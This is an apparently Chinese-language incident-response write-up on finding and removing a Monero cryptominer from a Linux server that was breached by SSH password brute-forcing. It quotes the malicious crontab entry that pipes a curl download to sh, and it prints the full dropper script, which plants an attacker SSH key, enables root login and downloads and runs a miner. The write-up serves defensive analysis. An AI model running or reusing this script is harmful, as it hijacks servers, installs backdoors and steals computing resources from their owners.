何為挖礦,這里稍微普及一下:所謂”挖礦”實質上是用計算機解決一項復雜的數學問題,是用于賺取比特幣的一個程序,挖礦是消耗計算資源來處理交易,確保網絡安全以及保持網絡中每個人的信息同步的過程。可以理解為是比特幣的數據中心,區別在于其完全是去中心化的設計,礦工在世界各國進行操作,沒有人可以對網絡具有控制權。這個過程因為同淘金類似而被稱為“挖礦”。
任何人都可以在專門的硬件上運行軟件程序而成為比特幣礦工。挖礦軟件通過P2P網絡監聽交易廣播,執行任務以處理并確認這些交易。比特幣礦工完成這些工作后,就有機會獲取一定量的比特幣作為賞金,但是付出的代價是需要大量的計算資源,挖礦軟件依據特定算法,執行大量的計算,會大量占據cpu,導致系統卡頓,嚴重的直接癱瘓。
這幾年比特幣價格一路飆升,現在大家玩比特幣挖礦的太多了,但多數都是用礦機或者顯卡完成計算,而實際上最初比特幣的挖礦是用電腦的CPU來進行的,雖然現在CPU的計算力遠遠落后于顯卡和礦機,但并不是說不能用CPU來挖礦了,用CPU挖礦的軟件很多,其中最有名的就是XMR,門羅,XMR是一個比特幣挖礦程序,能夠運行在服務器上挖礦,并大量消耗CPU資源。
下面這個案例就跟這個挖坑程序有關,請聽我徐徐道來。
最先是接到客戶的電話,說業務系統運行緩慢,完全無法使用了,要了解本質的東西,必須要“深入虎穴”,先登錄服務器,看看整個系統的運行狀態,再做進一步的判斷。top命令執行后,截圖如下:
從圖中可以看出,系統的平均負載高的離奇,發現都在1000以上了,有非常多的名為sh的進程,這些進程消耗了大量CPU資源,并且這個sh進程還是通過root用戶啟動的,并且已經啟動了很長時間了。
既然已經發現了pid進程號,那么就通過進程號查起,可通過如下命令查看進程對應的啟動文件:
#ll /proc/pid -- 可以羅列出相關的文件及目錄
來執行一下這個命令:
[root@oa228 ~]# ll /proc/35796/exe lrwxrwxrwx. 1 root root 0 9月 25 10:06 /proc/35796/exe -> /usr/lib/.cache/sh
果然,發現了35796這個進程對應的可執行文件,他對應的文件是/usr/lib/.cache/sh,一看這個路徑,就覺得肯定有問題,無緣無故,為啥在/usr/lib下創建了一個隱藏目錄,這不符合常理,既然是隱藏目錄,肯定有問題,來這個目錄看看,果然有重大發現:
打開其中一個可疑文件pools.txt
可明顯的看到這是一個挖礦程序在運行,里面顯出了currency:monero7幣種類型(xmr門羅幣),pool_address礦池地址,wallet_address錢包址等等。 采用CryptoNight算法的代表幣種就是Monero,即XMR,門羅。這個是門羅幣老算法,適合CPU服務器挖礦,顯卡礦機挖礦。哪怕是低端辦公用的I3處理器也擁有4Mb以上的三級緩存,能夠用于這個算法計算。
再來看一個文件config.json
果然被挖礦了,如何解決呢,首先找到挖礦程序運行的所在目錄后,直接清除掉即可,諸如如下目錄:
#rm -rf /usr/lib/.cache
最后,刪除掉程序目錄后,中止對應進程
#kill -9 PID PID2 PID3
你以為這樣就完事大吉了嗎,錯了,清理后,果然,在清除挖礦程序的5分鐘后,又發現sh進程啟動起來了。
根據一個老鳥運維的經驗,感覺應該是crontab里面被寫入了定時任務。于是,下面開始檢查系統的crontab文件的內容。
linux下有系統級別的crontab和用戶級別的crontab,用戶級別下的crontab定義后,會在/var/spool/cron目錄下創建對應用戶的計劃任務腳本,而系統級別下的crontab,可以直接查看/etc/crontab文件。
首先查看 /var/spool/cron目錄,查詢一下系統中是否有異常的用戶計劃任務腳本程序。如下圖所示:
[root@localhost cron]# ll /var/spool/cron/ total 4 drwxr-xr-x 2 root root 6 Oct 18 19:01 crontabs -rw------- 1 root root 80 Oct 18 19:04 root [root@localhost cron]# cat /var/spool/cron/root */5 18-23,0-7 * * * curl -fsSL https://r.chanstring.com/api/report?pm=0988 | sh [root@localhost cron]# cat /var/spool/cron/crontabs/root */5 18-23,0-7 * * * curl -fsSL https://r.chanstring.com/api/report?pm=0988 | sh
可以發現,/var/spool/cron/root和/var/spool/cron/crontabs/root兩個文件中都有被寫入的計劃任務。兩個計劃任務是一樣的,計劃任務的設置策略是:
每天的18點到23點,0點到7點,這段時間內,每五分鐘執行一個curl操作,這個curl操作會從r.chanstring.com這個網站上下載一個腳本,然后在本地服務器上執行。
這里有個很有意思的事情,此計劃任務的執行時間剛好在非工作日期間(8點到23點,0點到7點),此駭客還是很有想法的,利用非工作日期間,借用客戶的服務器偷偷挖礦,這個時間段隱蔽性很強,不容易發現服務器異常。
既然發現了這個下載腳本的網站,那就看看下載下來的腳本到底是什么,執行了什么操作,https://r.chanstring.com/api/report?pm=0988 此網站很明顯是個api接口,下載下來的內容如下:
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin echo "*/5 18-23,0-7 * * * curl -fsSL https://r.chanstring.com/api/report?pm=0988 | sh" > /var/spool/cron/root mkdir -p /var/spool/cron/crontabs echo "*/5 18-23,0-7 * * * curl -fsSL https://r.chanstring.com/api/report?pm=0988 | sh" > /var/spool/cron/crontabs/root if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then mkdir -p ~/.ssh rm -f ~/.ssh/authorized_keys* echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq echo "PermitRootLogin yes" >> /etc/ssh/sshd_config echo "RSAAuthentication yes" >> /etc/ssh/sshd_config echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config /etc/init.d/sshd restart fi if [ ! -f "/var/tmp/minerd" ]; then curl -fsSL https://r.chanstring.com/minerd -o /var/tmp/minerd chmod +x /var/tmp/minerd /var/tmp/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:6666 -u 41rFhY1SKNXNyr3dMqsWqkNnkny8pVSvhiDuTA3zCp1aBqJfFWSqR7Wj2hoMzEMUR1JGjhvbXQnnQ3zmbvvoKVuZV2avhJh -p x fi ps auxf | grep -v grep | grep /var/tmp/minerd || /var/tmp/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:6666 -u 41rFhY1SKNXNyr3dMqy5hflu/XRe4dybhCp1aBqJfFWSqR7Wj2hoMzEMUR1JGjhvbXQnnQy5hflu/XRe4dybh -p x if [ ! -f "/etc/init.d/lady" ]; then if [ ! -f "/etc/systemd/system/lady.service" ]; then curl -fsSL https://r.chanstring.com/v10/lady_`uname -i` -o /var/tmp/KHK75NEOiq66 && chmod +x /var/tmp/KHK75NEOiq66 && /var/tmp/KHK75NEOiq66 fi fi service lady start systemctl start lady.service /etc/init.d/lady start
這是個非常簡單的shell腳本,基本的執行邏輯是:
1、寫入計劃任務到/var/spool/cron/root和/var/spool/cron/crontabs/root文件中。
2、接著檢查/root/.ssh/KHK75NEOiq文件(這應該是個公鑰文件)是否存在,如果不存在,寫入公鑰到服務器,并修改/etc/ssh/sshd_config的配置。
3、檢查挖礦程序/var/tmp/minerd是否存在,如果不存在,從網上下載一個,然后授權,最后開啟挖礦程序。同時,還會檢查挖礦進程是否存在,不存在就重新啟動挖礦進程,其中,-o參數后面跟的是礦池地址和端口號, -u參數后面是黑 客自己的錢包地址,-p參數是密碼,隨意填寫就行。
到這里為止,挖礦程序的運行機制基本清楚了。但是,客戶的問題還沒有解決!
那么黑 客是如何植入挖礦程序到系統的呢?這個問題需要查清楚。
接著,檢查系統防火墻iptables,發現所有規則全部開放,相當于沒有使用防火墻,然后詢問了客戶機器的密碼,發現非常簡單易破解,最后,在系統的/var/log/secure中找到了入侵的根源,日志如下:
Sep 22 04:17:56 pkserver unix_chkpwd[36592]: password check failed for user (root) Sep 22 04:17:58 pkserver sshd[36590]: Failed password for root from 92.168.10.187 port 34714 ssh2 Sep 22 04:17:58 pkserver unix_chkpwd[36595]: password check failed for user (root) Sep 22 04:18:00 pkserver sshd[36593]: Failed password for root from 92.168.10.187 port 34740 ssh2 Sep 22 04:18:01 pkserver unix_chkpwd[36598]: password check failed for user (root) Sep 22 04:18:02 pkserver sshd[36596]: Failed password for root from 92.168.10.187 port 34766 ssh2 Sep 22 04:18:03 pkserver unix_chkpwd[36601]: password check failed for user (root) Sep 22 04:18:05 pkserver sshd[36599]: Failed password for root from 92.168.10.187 port 34792 ssh2 Sep 22 04:18:06 pkserver unix_chkpwd[36604]: password check failed for user (root) Sep 22 04:18:07 pkserver sshd[36602]: Failed password for root from 92.168.10.187 port 34820 ssh2 Sep 22 04:18:08 pkserver sshd[36605]: Accepted password for root from 92.168.10.187 port 34846 ssh2
上面的日志很明顯驗證了,客戶機器密碼簡單,通過密碼字典破 解了系統密碼,然后進入系統植入了上面一些列的文件和挖礦程序。
最后,梳理下本次清除挖礦程序的步驟:
1、確定對應的進程,找出挖礦程序的目錄位置
2、清除所有挖礦相關的所有文件,并中止進程
3、查找入侵的原因
4、更新原有賬戶體系下用戶的密碼強度,安裝強有力的防護軟件,提升系統安全性。
事故出于麻痹,安全來于警惕,讓我們用這句話來結束本文吧!